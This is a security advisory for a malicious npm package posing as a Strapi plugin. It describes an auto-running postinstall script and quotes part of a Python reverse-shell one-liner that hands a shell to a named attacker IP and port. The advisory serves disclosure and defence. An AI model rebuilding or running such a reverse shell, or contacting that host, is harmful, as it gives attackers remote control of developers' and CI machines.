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OpenAdvisories
Malicious MAL-2026-16239

strapi-plugin-pysh-meeb

npm package · versions 3.6.8

Reported Sep 16, 2026 · Updated Sep 16, 2026

If this package is installed

Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.

Details

Source: amazon-inspector (188e8ecd93a0124135c178af848914dbd0f8cc7c3f9fdc7f5137fc94e46bb27d)
strapi-plugin-pysh-meeb@3.6.8 ships a postinstall.js (also declared as the package main) that runs automatically on npm install. The script uses child_process to spawn a Python one-liner (`python3 -c 'import sys,socket,os,pty;...pty.spawn("sh")'`) which opens an outbound TCP connection to the hardcoded attacker IP 14.225.210.85:80 and hands an interactive PTY shell to the remote endpoint, giving full remote code execution on the installer's host. Detonation is gated by an os.hostname() equality check against 'ubuntu-fc-uvm', a targeting/evasion mechanism that suppresses the payload on other hosts while firing on the intended victim; retry logic is present to re-establish the connection. Package metadata is consistent with a typosquat dropper: the name mimics a Strapi plugin, the repository URL uses a placeholder 'user' org and a mismatched slug (strapi-plugin-yayccresh-meeb), and the description is a generic 'Strapi plugin for enhanced functionality'. No legitimate plugin functionality is shipped.